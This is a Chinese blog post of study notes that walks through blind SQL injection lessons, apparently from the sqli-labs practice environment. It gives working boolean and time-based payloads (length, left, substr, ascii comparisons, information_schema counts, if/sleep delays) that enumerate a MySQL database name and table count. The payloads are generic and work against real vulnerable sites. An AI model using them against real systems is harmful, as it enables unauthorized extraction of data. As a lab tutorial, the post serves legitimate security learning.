SQL注入学习3

Posted 积木安全笔记

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入学习3相关的知识,希望对你有一定的参考价值。

开始学习盲注

Lession-5

如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码。

如果不存在则是如下

SQL注入学习3

然后我们加入单引号'

SQL注入学习3

也是报错,看到报错信息”1” LIMIT 0,1′,后台代码便是如下:

sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

开始使用盲注尝试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。

ascii(a)将a转换成其ASCII值
ord(a)将a转换成其ASCII值
left(a,b)从左往右截取字符串a的前b个字符
substr(a,b,c)从b位置开始,截取字符串a的c长度
mid(a,b,c)从位置b开始,截取a字符串的c位

首先,先获取数据库的长度用户之后的数据库拆解


我们使用payload  1' and (length(database())=1)--+

SQL注入学习3

发现没有显示 you are in 

当我们增加到8 的时候 出现了you are in 证明数据库的长度为8 

SQL注入学习3

然后我们先查询数据库名称

payload=1' and (left(database(),1)='a')--+

SQL注入学习3


当到1' and (left(database(),1)='s')--+

SQL注入学习3


可以推测出数据库第一个字符串为s


然后我们依次推出第二个 可以写脚本或者burp

1' and (left(database(),2)='sa')--+

最后得出数据库名称为security

--------------------------------------------------------

接下去    查表明 

因为是mysql  可以使用如下语句来判断有几个表

' and 1=(select count(table_name) from information_schema.tables where table_schema='security')-- 

SQL注入学习3


当 ' and 4=(select count(table_name) from information_schema.tables where table_schema='security')-- 出现了 you are in  可以得出 有4个表

SQL注入学习3


然后就是跑表名称。。。。这里省略 


lession 6

和 lession 5 一致  将单引号变成双引号


lession 7  跳过

lession 8  同  6  5

--------------------------------


lession  9

时间盲注

这次我们发现插入单引号和双引号 系统都是返回 You  are in。。

查看下代码

SQL注入学习3

可以看到不管语句正确与否都是返回 you are in

考虑时间盲注

常用的判断语句:

'and if(1,sleep(5),1) --+

' and if(1=0,1, sleep(10)) --+

"and if(1=0,1, sleep(10)) --+

)and if(1=0,1, sleep(10)) --+

')and if(1=0,1, sleep(10)) --+

")and if(1=0,1, sleep(10)) --+


我这里使用payload:' and if(1=0,1, sleep(3)) --+

正常的时候系统响应包一秒返回

SQL注入学习3


加入payload' and if(1=0,1, sleep(3)) --+

比正常的情况多返回了3秒

于是初步判断存在时间盲注

开始注入

猜测数据库:

'and If(ascii(substr(database(),1,1))=114,1,sleep(5))-- 

从数据库名称字符第一位开始取一位  如果 ASCII码为114 则返回1  否则 sleep(5)


可得第一位为 ascii 115 也就是 s

然后第二位'and If(ascii(substr(database(),2,1))=101,1,sleep(5))-- 

然后跑出数据库名称。

lession 10

和lession9一致,单引号改为双引号



以上是关于SQL注入学习3的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入学习总结:其他SQL注入的异或注入

SQL注入学习笔记

SQL注入学习

SQL注入学习整理

SQL注入测试学习布尔盲注

SQL 注入(SQL Injection)学习心得